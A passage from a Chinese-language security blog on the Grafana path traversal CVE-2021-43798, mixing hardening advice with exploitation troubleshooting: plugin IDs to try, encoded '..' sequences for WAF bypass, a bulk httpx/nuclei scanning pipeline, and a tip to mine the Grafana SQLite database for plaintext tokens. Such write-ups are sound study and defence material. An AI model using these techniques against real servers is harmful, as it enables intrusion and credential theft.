${GF_DATABASE_PASSWORD}然后在启动时传入环境变量。定期审计配置文件确保没有明文硬编码的密码。数据源密码加密确保Grafana的secret_key是强随机值并且妥善保管。这样即使数据库被拖库数据源的密码也是加密的。定期安全更新订阅Grafana的安全公告建立软件资产清单和漏洞响应流程确保所有实例能及时打上补丁。入侵检测与日志审计启用Grafana的详细日志并集中收集分析。关注/public/plugins/路径下包含..的异常访问日志。可以使用WAF或IDS规则来检测和阻断目录遍历攻击。纵深防御将Grafana部署在内网通过堡垒机或VPN访问。对Grafana服务器进行文件系统加固使用AppArmor或SELinux限制其进程的文件访问能力。考虑使用容器安全方案限制容器的能力集如--cap-dropALL和文件系统挂载只读挂载。7. 排查技巧与常见问题实录在复现和利用这个漏洞的过程中我踩过一些坑也总结了一些排查技巧。问题1使用curl测试返回404或403但漏洞确实存在可能原因1插件ID不对。目标可能没有安装你使用的插件。解决方法先访问目标Grafana的/api/plugins接口可能需认证或者尝试一些更常见的插件ID如alertlist、annolist、barchart、gauge、geomap、gettingstarted、grafana-azure-monitor-datasource、heatmap、histogram、logs、news、nodeGraph、piechart、stat、table、table-old、tempo、text、timeseries、welcome。也可以从页面源码中搜索public/plugins/来寻找。可能原因2路径深度不够。../../../../../../可能不足以跳转到根目录。可以尝试增加穿越层级如../../../../../../../。可能原因3WAF或反向代理拦截。一些云WAF或自建的Nginx规则可能会过滤包含..的请求。尝试对..进行URL编码%2e%2e%2f或..%2f或双重编码%252e%252e%252f进行绕过。可能原因4文件不存在或权限不足。即使路径穿越成功目标文件也可能不存在或者Grafana进程用户没有读取权限。问题2读到的配置文件是空的或乱码可能原因文件可能是二进制格式或者curl输出到了终端导致显示问题。使用-o参数保存到文件再用file命令和文本编辑器查看。问题3如何批量检测一批Grafana资产推荐工具nucleihttpx。首先用httpx快速识别开放3000端口且标题包含Grafana的资产然后用nuclei的CVE模板进行检测。可以编写一个简单的Shell脚本进行联动。# 假设有一个目标文件 targets.txt httpx -l targets.txt -p 3000 -title -silent | grep -i grafana | awk {print $1} grafana_targets.txt nuclei -l grafana_targets.txt -t cves/2021/CVE-2021-43798.yaml -o results.txt问题4在Docker环境里为什么读不到/etc/shadow原因默认的grafana/grafana镜像就是以非root用户UID 472用户名为grafana运行的。这是Grafana官方镜像的安全最佳实践有效限制了漏洞的影响范围。这反过来也提醒我们在生产环境中以非root权限运行服务是多么重要。一个高级技巧利用漏洞读取Grafana的SQLite数据库文件后除了查看密码还可以关注data_source表。虽然密码字段是加密的但json_data字段可能以JSON格式存储了一些配置其中偶尔会包含明文的访问令牌或密码这取决于数据源类型和配置方式。务必仔细检查。回顾整个从漏洞验证到深度利用的过程CVE-2021-43798给我的最大启示是一个看似中高风险的漏洞在特定的环境上下文和攻击者持之以恒的挖掘下其危害边界可以变得非常模糊。它不再仅仅是一个“信息泄露”而是成为了打开内网大门的一把钥匙。对于防御者而言修补漏洞只是第一步更重要的是通过最小权限、网络隔离、日志监控和定期审计构建起让攻击者即使拿到一块“碎片”也无法拼出完整“地图”的防御体系。在实战中我养成了一个习惯每当验证一个信息泄露漏洞时总会多问自己一句“除了报告里写的那个文件我还能读到什么读到的这些东西又能带我去哪里” 这种思维方式的转变往往才是安全能力提升的关键。